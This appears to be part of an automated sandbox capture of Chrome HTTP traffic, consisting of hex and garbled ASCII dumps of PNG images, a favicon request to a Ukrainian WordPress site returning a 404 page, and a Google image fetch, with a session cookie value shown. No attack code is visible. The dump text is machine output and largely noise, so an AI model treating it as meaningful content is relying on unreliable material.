                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 51 60 03 b8 03 ff 05 ba 03 ad 00 da e8 eb f1 96 db cb bc 31 b8 0f 83 5f 79 91 92 07 a5 1c 3a fd 3d c7 cf a6 71 ea 7c 06 a9 19 d9 75 ad b3 52 6c ba 77 a6 5f 6f 2b 5c fb f6 64 f0 ab 2f d2 ba 95 2e 47 93 7f e4 ab 23 e7 d8 13 7f 86 a2 bf ef 81 20 c8 ef 02 3f 02 a1 40 5c 5d eb 95 05 b9 8c 8c 8c 4c e3 d3 2c 85 77 3d 08 df da 32 0a f8 08 41 e3 d6 01 e8 6b d3 95 29 5e fd 99 3a ca 99 07 a5 65 7c 79 e8 3b a2 8f 9d e7 c0 89 8b 3c 50 98 bf 6b 82 91 a1 01 85 45 c5 75 6a 64 cb 96 ff 62 84 73 2f 3c 07 3a 30 7a 48 1f f4 5a e9 b2 25 fa 24 5b a2 4f f1 ed a5 9f 94 a7 3d 00 f2 80 20 60 47 9d 2a 54 20 0b 72 19 19 19 99 c6 41 16 de d5 a3 07 f0 05 60 85 42 68 8f 18 60 87 df d8 41 0c 72 7c 81 b3 97 af 13 19 9b c4 86 2f 13 6a 5d 81 b3 83 35 fe 13 86 90 9a 91 8d 87 ab 3d c1 11 d1
                                                                                                              Data Ascii: Q`1_y:=q|uRlw_o+\d/.G# ?@\]L,w=2Ak)^:e|y;<PkEujdbs/<:0zHZ%$[O= `G*T rA`Bh`Ar|/j]5=
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: d8 c2 cc 98 4b fb 42 98 b3 7c 47 95 de f0 ff 9d 35 8a a0 19 ee 2c fd 2c 8e 0f d6 ee 05 41 03 bf 00 f4 ad b2 22 19 99 3a d2 94 b5 f5 ba 4c 99 34 e5 fb 92 69 3e fc 93 85 f7 b7 08 ab 7e e9 7c 1a 30 81 59 e3 06 e1 bb 74 1b eb 76 57 ed 64 1d 19 3a 0d ff 65 3b 88 0c 9d 4e 7f 07 2b 26 05 6e d4 30 a3 2b 4d e7 03 26 85 e0 ee 62 4f 2f 6b 73 12 cf a5 d7 28 7c ac ba 18 19 1a 90 75 74 35 c1 eb 62 34 1c d6 ca 73 22 32 80 3b 45 77 f1 98 b5 5a 6d bf ad 95 39 fd 1d ac 44 8d 5f c9 24 cf 7e 6c 59 fa 36 9f 7f 75 82 69 c1 5b 00 ee 23 a4 57 ed 5d af 37 21 23 53 cf d4 65 01 9e 47 81 2c d4 65 6a c2 3f 35 ce fb 5b 04 e1 a3 13 19 3a 8d 89 ee 4e 8c f2 ff 54 9a 75 0c 10 b4 e1 8a e6 b6 0b 8b 8a 89 39 76 1e 0b 33 63 22 43 a6 b1 b5 f7 29 e6 ac d8 a9 76 bc 43 3b 03 82 7d bd 88 3d 7e 41
                                                                                                              Data Ascii: KB|G5,,A":L4i>~|0YtvWd:e;N+&n0+M&bO/ks(|ut5b4s"2;EwZm9D_$~lY6ui[#W]7!#SeG,ej?5[:NTu9v3c"C)vC;}=~A
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 95 d8 7a 05 6a 75 4a 9b e7 e3 c6 d5 83 1f 31 f2 35 87 fa 68 77 bd 32 f2 35 07 ae 1e fc 98 79 3e 6e 15 9e e3 ec 60 8d b3 83 35 5b 43 a6 d1 cb da 1c 5b af 40 9c fb 58 e3 ee 62 87 bb 8b 1d 91 a1 d3 2a 7c 4e d3 82 37 d3 f2 5f 2d 88 f8 60 22 08 79 03 1c 01 ff 86 b8 17 19 19 19 19 19 81 c7 59 78 87 01 3a 6f 0c fe 37 33 df 72 c5 2f 64 3b bf de fc 5d e3 a4 ca 72 82 3b f7 b1 16 f3 93 fb 04 68 2e e2 d1 cd bc 23 87 36 bc c7 ca f7 c6 d4 6b c3 1b 82 95 ef 8d e1 d0 86 f7 e8 66 fe b4 c6 b1 c4 94 74 7c 3c 9d 18 d0 c7 1a e7 89 21 e2 7d 7a 0e ec cd 9d a2 bb 38 fb 84 54 e8 98 57 f4 f7 3d 7c 97 6e 63 a2 bb 13 13 85 dc ed 3a 80 f6 15 52 64 64 64 64 64 ea 85 c7 55 78 c7 01 06 6d f4 f5 58 f5 fe 18 3e df 7b 82 2f be d1 f4 a3 72 76 b0 aa 70 71 11 10 c2 ab 2a 3a 3e 6e 98 23 3f c5
                                                                                                              Data Ascii: zjuJ15hw25y>n`5[C[@Xb*|N7_-`"yYx:o73r/d;]r;h.#6kft|<!}z8TW=|nc:RdddddUxmX>{/rvpq*:>n#?
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 47 ce 8d df c5 ed 87 6b bf f2 d5 e1 73 00 2c 7a 7b 04 01 d3 86 d3 d6 a0 75 95 e5 0f 7e f5 25 e6 f9 b8 b1 2a 32 be ca 73 9d 1d ac 59 ec eb 89 b3 83 35 97 af e6 e0 e3 d1 4f 9c fb fe f1 da 6f 7c 7d 32 95 a9 23 9d 89 3f 75 19 e0 c5 6a dd a0 8c 8c 8c 8c 4c 95 3c 0e c2 fb 7d 80 b6 06 7a 4c 19 e9 cc 8c 25 5b 35 4e b0 b5 32 c7 c3 d5 5e 23 b4 09 04 21 58 de 2c fc bc 45 c7 1a a5 3c 2d 2c 2a 66 c9 ba 18 71 81 93 fe 0e 56 f8 7b 0f c1 c3 d5 9e af 13 2f 71 35 eb 26 6d 0c 5a f3 f3 af b7 58 15 19 cf a8 41 0e a4 ff 92 c7 c9 94 74 ae e5 dc e2 ee bd 12 5e ec f6 2c cb e6 8c 66 68 7f db 0a eb 59 b1 f9 6b 00 82 df f1 64 71 05 a6 7e 25 df 7d ff 33 3b bf 4e e6 8b 43 67 59 f6 f9 7e 0e 9d be 4c a8 ff 68 86 54 e3 83 64 e5 7b 63 38 90 78 89 9f b2 6e 88 fb 94 1f 0b a9 19 d9 6a 42 7b
                                                                                                              Data Ascii: Gks,z{u~%*2sY5Oo|}2#?ujL<}zL%[5N2^#!X,E<-,*fqV{/q5&mZXAt^,fhYkdq~%}3;NCgY~LhTd{c8xnjB{
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 59 14 4b 24 73 c3 00 8e b6 dd f8 76 c7 87 dc 3e f3 19 c7 36 2f 64 dc 30 47 3e 9a 3f 86 ab 07 3f 16 05 f7 7b 2b 77 33 c0 27 94 5f 6f fe 8e 87 ab 3d 61 0b c7 93 ba 2f 84 89 ee 4e 62 c6 b8 49 81 1b 85 14 b0 91 81 b8 bb d8 53 58 54 cc a4 c0 cf 01 98 35 6e 10 63 87 be 0c c0 e8 b9 6b 49 f9 e1 17 2a a3 3a cf 44 8a 8f 87 13 fd 7b ab 3f e3 c3 a7 bf e7 b5 57 44 67 f3 2e 35 2a b0 e6 7c 0a e4 03 cb 81 17 80 b6 08 83 ba 36 4d 50 47 71 ac ad e2 dc 6f 50 44 2e 34 53 c2 81 01 60 d2 6a 5e c4 27 dc bd 12 c5 c3 ef b7 f0 4b 84 1b 8a 49 1a 23 e0 d2 a3 6c 60 3d f2 4f ee e7 a6 88 0f d0 09 e7 89 5c 3c 1b c5 c3 2b 51 3c 3c bd 94 70 67 40 78 fe 43 2a b9 56 a6 16 34 e7 39 6f 33 40 0f c0 a5 4f 0f 42 36 ee 17 0f 28 9d a6 a4 de e5 5b 43 a6 e1 e3 e1 c4 e5 ab 39 5c 4a cf 16 4d de 4a dc
                                                                                                              Data Ascii: YK$sv>6/d0G>??{+w3'_o=a/NbISXT5nckI*:D{?WDg.5*|6MPGqoPD.4S`j^'KI#l`=O\<+Q<<pg@xC*V49o3@OB6([C9\JMJ
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 66 cc e5 ab 39 64 e7 15 60 ae 88 31 3f 99 92 41 d8 c2 f1 6a 6d 3f ff 63 a6 74 1a a0 3e e7 bd c3 01 07 30 61 de d6 77 98 67 a7 6e 09 bd 77 2b 9b 84 a4 54 e2 2f e4 71 5b b2 df f2 05 1b 1c ad bb e1 68 63 82 51 79 6d ad f9 e2 07 58 42 fe c0 55 be 73 5b ad d2 3c 5e 80 b0 0e 40 73 44 ee e7 a6 4d 24 f0 3e 89 db 3a d9 f5 dd 56 fe 58 29 10 a3 ed a2 4d eb 16 31 45 39 2c 68 0e e3 32 95 d0 9c 85 f7 53 00 2f 3d ff 2c df 5e fa 49 e3 60 56 6e 81 98 f1 4c 89 8f 87 13 fd 15 a9 3c a5 b8 be dc b3 ca ca 94 89 47 26 ba 3b 89 4e 6f eb f6 08 1a eb 84 11 af f2 6c c7 27 00 41 78 03 bc 3d ca 99 99 6f b9 02 30 7a ce 5a 00 26 79 f6 13 05 f7 92 88 68 12 53 32 88 0b 9f c3 86 c5 93 19 fb fe 3a 0e 7f fb 03 87 bf fd 81 b9 13 5f 67 c1 d4 61 cc f6 1e 8c 5b 3f 1b dc 66 ac e4 7a ce 2d f6 c4
                                                                                                              Data Ascii: f9d`1?Ajm?ct>0awgnw+T/q[hcQymXBUs[<^@sDM$>:VX)M1E9,h2S/=,^I`VnL<G&;Nol'Ax=o0zZ&yhS2:_ga[?fz-
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 8a 5e 08 21 92 c7 81 31 55 94 2d 2d 7f 2f c2 33 af 69 df 2a a9 ee 75 e1 c0 64 b4 bf 73 5d 10 de 0f 6d c7 94 1e e2 95 5d 7b 15 18 a9 a5 7e 6d 68 7b 16 46 15 ec 3f 46 e5 02 7c 31 42 02 19 6d d7 b7 a6 19 0b f0 e6 3a e7 6d 01 60 f6 74 07 4a cb ca c8 fb df ed 2a 4e af 18 2b 4b d3 4a 8f 4b b5 6e e5 5c b7 52 c3 1e fc ca 8b bc f6 ca 8b 14 df 2b 21 7c e7 51 00 7a 59 9b 33 a0 8f 70 de 4f 59 37 19 3b cc 91 99 6f 0a 73 df b7 7e bf c3 c5 f4 2c 9c 1d ac 99 e8 e1 84 41 6b cd 24 58 e1 41 13 f1 1a e4 40 d4 fe d3 62 bc f6 c6 af 4e a0 a3 d3 92 88 a0 89 ac ff 70 12 33 de 74 c5 b0 8d 3e ed da b4 e6 7e 49 29 7a ad 74 38 11 19 00 40 ce 8d df b9 fd e7 df 74 68 d7 06 0b 33 63 6c ba 77 e6 f2 d5 1c b6 c5 9d c6 7f c2 10 7c 3c 9c 08 8e 88 26 3b 4f 98 b3 0e f6 f5 62 ea 48 67 3e db 73
                                                                                                              Data Ascii: ^!1U--/3i*uds]m]{~mh{F?F|1Bm:m`tJ*N+KJKn\R+!|QzY3pOY7;os~,Ak$XA@bNp3t>~I)zt8@th3clw|<&;ObHg>s
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: c8 c7 ef 9c 34 a2 c0 84 97 3d 45 99 ad 9c ca 29 cf 42 a0 3b f4 c0 f7 05 89 ae 90 73 8d cd c9 e2 af ef eb e1 ae 1e 09 cd 55 78 eb 03 18 b6 d1 a7 e8 af bb 75 2a c8 d8 a8 ad d6 fd da b4 ee e5 9b 0e 88 5a f7 3c 1f c1 3b bc ad 41 6b 4e 44 06 30 e3 4d 97 4a 04 6d 04 d7 87 4c e2 ce 01 75 87 b0 b2 c2 22 6e 86 44 70 f7 b2 b0 94 67 49 76 1e 57 fb 8e a2 ac f0 4f 5a 75 36 25 f3 cd 77 c9 0f d7 4c 9a 7f e7 40 02 37 43 d7 93 1f 51 fd 84 fa c1 be 5e e2 7d 18 19 1a a8 92 b6 ac 13 3e 50 6c ba 77 e6 6d 85 b6 7d 31 2d 8b f0 9d 47 34 ca a8 e8 59 55 97 a2 bf ee 62 d8 56 5f f9 53 bf b2 73 ab 49 01 70 05 20 61 ed 31 12 a4 b3 27 86 e6 f8 7e 1a 4e f2 02 d1 54 a6 83 b0 da d5 df 54 7f 70 7f 1f 70 07 f4 2d fd 17 b3 73 9c b9 c4 d3 f9 01 99 17 4f 12 e4 1b 44 8b 97 26 a3 ef 30 19 7d 3b
                                                                                                              Data Ascii: 4=E)B;sUxu*Z<;AkND0MJmLu"nDpgIvWOZu6%wL@7CQ^}>Plwm}1-G4YUbV_SsIp a1'~NTTpp-sOD&0};
                                                                                                              2024-11-27 15:53:59 UTC1390INData Raw: 96 05 10 12 9d 86 2a 30 b8 52 d3 b9 07 f0 1c f4 67 dc 0b a2 9f 0d f7 32 52 51 b8 10 94 02 47 ab d1 e6 26 4b b3 16 de f5 85 32 17 f7 b6 b8 24 2c 5f 9b c3 b6 b8 24 71 d5 30 23 43 03 d6 ef 39 ce ae 83 c9 0c 79 f5 25 e2 3f 9b 8f 75 97 ca 3d d4 6b 8b 52 50 e7 4c 0f 22 ad c7 60 fe 3a 95 42 2b 73 f5 ba ee 1c 48 50 13 ea e5 4d f1 35 21 6c e1 78 71 c9 50 e5 fc fe d0 fe b6 ac 0d 9c 00 40 f0 ba 18 46 f8 7e 22 26 75 a9 c9 da e8 8d cc 47 c0 c7 40 41 66 fc 36 ec 46 af 67 d5 39 45 6e 6f 09 ad 8d cd 85 c1 fd c8 62 36 8d 33 07 55 e8 53 38 ea f3 94 00 0e c0 d3 30 86 91 36 92 8f 96 8c 93 8c 5b 2b 7e b9 e7 21 f8 5f 28 bd 10 0b 80 45 08 21 33 59 10 cf d4 2f ae ab da d1 d2 1c 97 69 e2 18 6c a4 a8 03 3c dd 70 91 f8 20 de 4c da 85 eb 16 71 a0 fc a5 5c 1d 20 08 8f 21 08 99 ea 94
                                                                                                              Data Ascii: *0Rg2RQG&K2$,_$q0#C9y%?u=kRPL"`:B+sHPM5!lxqP@F~"&uG@Af6Fg9Enob63US806[+~!_(E!3Y/il<p Lq\ !


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              7192.168.2.164972288.218.28.524436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:54:00 UTC723OUTGET /themes/custom/ssa_core/favicon.ico HTTP/1.1
                                                                                                              Host: electroagrotech.com.ua
                                                                                                              Connection: keep-alive
                                                                                                              sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                              sec-ch-ua-mobile: ?0
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              sec-ch-ua-platform: "Windows"
                                                                                                              Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                              Sec-Fetch-Site: same-origin
                                                                                                              Sec-Fetch-Mode: no-cors
                                                                                                              Sec-Fetch-Dest: image
                                                                                                              Referer: https://electroagrotech.com.ua/wp-content/uploads/elementor/css/
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              Cookie: PHPSESSID=75ec4bb0220c377e00d94a1c6a18d2ac; visit_count=1
                                                                                                              2024-11-27 15:54:02 UTC541INHTTP/1.1 404 Not Found
                                                                                                              Connection: close
                                                                                                              x-powered-by: PHP/7.4.33
                                                                                                              expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                              cache-control: no-cache, must-revalidate, max-age=0
                                                                                                              content-type: text/html; charset=UTF-8
                                                                                                              link: <https://electroagrotech.com.ua/wp-json/>; rel="https://api.w.org/"
                                                                                                              transfer-encoding: chunked
                                                                                                              date: Wed, 27 Nov 2024 15:54:02 GMT
                                                                                                              server: LiteSpeed
                                                                                                              alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                              2024-11-27 15:54:02 UTC827INData Raw: 31 30 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 75 6b 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d1 83 20 d0 bd d0 b5 20 d0 b7 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 be 20 26 23 38 32 31 31 3b 20 65 6c 65
                                                                                                              Data Ascii: 10000<!DOCTYPE html><html lang="uk"><head><meta charset="UTF-8"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="pingback" href="https://electroagrotech.com.ua/xmlrpc.php"><title> &#8211; ele
                                                                                                              2024-11-27 15:54:02 UTC14994INData Raw: 30 25 32 43 37 30 30 25 32 43 38 30 30 26 23 30 33 38 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 26 23 30 33 38 3b 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 77 62 62 77 67 2d 67 6c 6f 62 61 6c 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 70 68 6f 74 6f 2d 67 61 6c 6c 65 72 79 2f 62 6f 6f 73 74 65 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 67 6c 6f 62 61 6c 2e 63 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64
                                                                                                              Data Ascii: 0%2C700%2C800&#038;display=swap&#038;ver=6.5.4' type='text/css' media='all' /><link rel='stylesheet' id='twbbwg-global-css' href='https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/css/global.css?ver=1.0.0' type='text/css' med
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 2e 63 73 73 3f 76 65 72 3d 37 2e 35 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 78 74 73 2d 73 74 79 6c 65 2d 74 68 65 6d 65 5f 73 65 74 74 69 6e 67 73 5f 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 34 2f 30 37 2f 78 74 73 2d 74 68 65 6d 65 5f 73 65 74 74 69 6e 67 73 5f 64 65 66 61 75 6c 74 2d 31 37 32 32 33 33 37 36 39 37 2e 63 73 73 3f 76 65 72 3d 37 2e 35 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c
                                                                                                              Data Ascii: .css?ver=7.5.1' type='text/css' media='all' /><link rel='stylesheet' id='xts-style-theme_settings_default-css' href='https://electroagrotech.com.ua/wp-content/uploads/2024/07/xts-theme_settings_default-1722337697.css?ver=7.5.1' type='text/css' media='all
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 61 67 65 2d 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0a 0a 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2e 73 69 74 65 2d 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0a 0a 09 09 09 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2e 6d 61 69 6e 2d 70 61 67 65 2d 77 72 61 70 70 65 72 20 2d 2d 3e 20 0a 09 09 09 3c 2f 64 69 76 3e 20 3c 21 2d 2d 20 65 6e 64 20 72 6f 77 20 2d 2d 3e 0a 09 3c 2f 64 69 76 3e 20 3c 21 2d 2d 20 65 6e 64 20 63 6f 6e 74 61 69 6e 65 72 20 2d 2d 3e 0a 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 64 2d 70 72 65 66 6f 6f 74 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 0a 09 09 09 3c 66 6f 6f 74 65 72 20 63 6c 61 73 73 3d 22
                                                                                                              Data Ascii: age-content --></div>... .site-content --></div>... .main-page-wrapper --> </div> ... end row --></div> ... end container --><div class="wd-prefooter"><div class="container"></div></div><footer class="
                                                                                                              2024-11-27 15:54:02 UTC16384INData Raw: 6c 65 6d 65 6e 74 6f 72 2d 70 72 6f 2d 66 72 6f 6e 74 65 6e 64 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 65 6c 65 6d 65 6e 74 6f 72 2f 61 73 73 65 74 73 2f 6c 69 62 2f 77 61 79 70 6f 69 6e 74 73 2f 77 61 79 70 6f 69 6e 74 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 30 2e 32 22 20 69 64 3d 22 65 6c 65 6d 65 6e 74 6f 72 2d 77 61 79 70 6f 69 6e 74 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22
                                                                                                              Data Ascii: lementor-pro-frontend-js"></script><script type="text/javascript" src="https://electroagrotech.com.ua/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js?ver=4.0.2" id="elementor-waypoints-js"></script><script type="text/javascript" src="
                                                                                                              2024-11-27 15:54:02 UTC2458INData Raw: 5c 2f 5c 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 74 68 65 6d 65 73 5c 2f 77 6f 6f 64 6d 61 72 74 5c 2f 63 73 73 5c 2f 70 61 72 74 73 5c 2f 68 65 61 64 65 72 2d 65 6c 2d 6d 6f 62 69 6c 65 2d 6e 61 76 2d 64 72 6f 70 64 6f 77 6e 2e 6d 69 6e 2e 63 73 73 22 2c 22 77 64 2d 77 64 2d 73 65 61 72 63 68 2d 66 6f 72 6d 2d 63 73 73 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 65 6c 65 63 74 72 6f 61 67 72 6f 74 65 63 68 2e 63 6f 6d 2e 75 61 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 74 68 65 6d 65 73 5c 2f 77 6f 6f 64 6d 61 72 74 5c 2f 63 73 73 5c 2f 70 61 72 74 73 5c 2f 77 64 2d 73 65 61 72 63 68 2d 66 6f 72 6d 2e 6d 69 6e 2e 63 73 73 22 2c 22 77 64 2d 77 69 64 67 65 74 2d 63 6f 6c 6c 61 70 73 65 2d 63
                                                                                                              Data Ascii: \/\/electroagrotech.com.ua\/wp-content\/themes\/woodmart\/css\/parts\/header-el-mobile-nav-dropdown.min.css","wd-wd-search-form-css":"https:\/\/electroagrotech.com.ua\/wp-content\/themes\/woodmart\/css\/parts\/wd-search-form.min.css","wd-widget-collapse-c
                                                                                                              2024-11-27 15:54:02 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                              Data Ascii: 0


                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                              8192.168.2.1649723172.217.17.334436356C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              TimestampBytes transferredDirectionData
                                                                                                              2024-11-27 15:54:01 UTC625OUTGET /meips/ADKq_NZi8R4m6H8EJruwBzxCqPKVPzWCU6p8FRwtcx3ScqmC0alrzNrsKe32Pl2h3WKXSwL-bd3kecKFfZJddwmVxlPRLfISpCAutfNswBHKsELm687KIoqZs9-Ogbs9nNrClyddA1vzBISt721ohcFF82CuM-_6WGxNRw=s0-d-e1-ft HTTP/1.1
                                                                                                              Host: ci3.googleusercontent.com
                                                                                                              Connection: keep-alive
                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                              Accept: */*
                                                                                                              X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlKHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==
                                                                                                              Sec-Fetch-Site: none
                                                                                                              Sec-Fetch-Mode: cors
                                                                                                              Sec-Fetch-Dest: empty
                                                                                                              Accept-Encoding: gzip, deflate, br
                                                                                                              Accept-Language: en-US,en;q=0.9
                                                                                                              2024-11-27 15:54:02 UTC575INHTTP/1.1 200 OK
                                                                                                              Content-Type: image/png
                                                                                                              Cross-Origin-Resource-Policy: cross-origin
                                                                                                              Vary: Origin
                                                                                                              Access-Control-Allow-Origin: *
                                                                                                              Timing-Allow-Origin: *
                                                                                                              Access-Control-Expose-Headers: Content-Length
                                                                                                              Expires: Fri, 01 Jan 1990 00:00:00 GMT
                                                                                                              Cache-Control: private, max-age=86400, no-transform, must-revalidate
                                                                                                              Content-Disposition: attachment;filename="unnamed.png"
                                                                                                              X-Content-Type-Options: nosniff
                                                                                                              Date: Wed, 27 Nov 2024 15:54:01 GMT
                                                                                                              Server: fife
                                                                                                              Content-Length: 23447
                                                                                                              X-XSS-Protection: 0
                                                                                                              Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
                                                                                                              Connection: close
                                                                                                              2024-11-27 15:54:02 UTC815INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 ef 00 00 00 95 08 06 00 00 00 71 47 72 de 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 20 00 49 44 41 54 78 9c ec 9d 79 58 55 55 d7 c0 7f be 82 08 8a 62 41 29 94 80 69 82 56 20 88 af 51 28 82 a6 e1 c0 a0 59 0e 28 0e 39 04 26 0e a5 02 25 be af a0 96 26 26 68 9a 03 8a 53 a5 0c 9a e4 88 28 86 26 0e 58 09 98 16 43 81 fa 42 89 51 a8 08 9f df 1f e7 de 73 cf e5 5e e6 41 b0 f3 7b 9e f3 c8 3d c3 de fb 9c 7d dc eb ac b5 d7 5a bb c5 c3 87 0f 91 91 91 91 91 91 91 69 3e fc eb 51 37 40 46 46 46 46 46 46 a6 66 c8 c2 5b 46 46 46 46 46 a6 99 21 0b 6f 19 19 19 19 19 99 66 86 2c bc 65 64 64 64 64 64 9a 19 b2 f0 96 91 91 91 91 91 69 66 c8 c2 5b 46 46 46 46
                                                                                                              Data Ascii: PNGIHDRqGrsBIT|dbKGD IDATxyXUUbA)iV Q(Y(9&%&&hS(&XCBQs^A{=}Zi>Q7@FFFFFFf[FFFFF!of,edddddif[FFFF
                                                                                                              2024-11-27 15:54:02 UTC1390INData Raw: 51 60 03 b8 03 ff 05 ba 03 ad 00 da e8 eb f1 96 db cb bc 31 b8 0f 83 5f 79 91 92 07 a5 1c 3a fd 3d c7 cf a6 71 ea 7c 06 a9 19 d9 75 ad b3 52 6c ba 77 a6 5f 6f 2b 5c fb f6 64 f0 ab 2f d2 ba 95 2e 47 93 7f e4 ab 23 e7 d8 13 7f 86 a2 bf ef 81 20 c8 ef 02 3f 02 a1 40 5c 5d eb 95 05 b9 8c 8c 8c 4c e3 d3 2c 85 77 3d 08 df da 32 0a f8 08 41 e3 d6 01 e8 6b d3 95 29 5e fd 99 3a ca 99 07 a5 65 7c 79 e8 3b a2 8f 9d e7 c0 89 8b 3c 50 98 bf 6b 82 91 a1 01 85 45 c5 75 6a 64 cb 96 ff 62 84 73 2f 3c 07 3a 30 7a 48 1f f4 5a e9 b2 25 fa 24 5b a2 4f f1 ed a5 9f 94 a7 3d 00 f2 80 20 60 47 9d 2a 54 20 0b 72 19 19 19 99 c6 41 16 de d5 a3 07 f0 05 60 85 42 68 8f 18 60 87 df d8 41 0c 72 7c 81 b3 97 af 13 19 9b c4 86 2f 13 6a 5d 81 b3 83 35 fe 13 86 90 9a 91 8d 87 ab 3d c1 11 d1
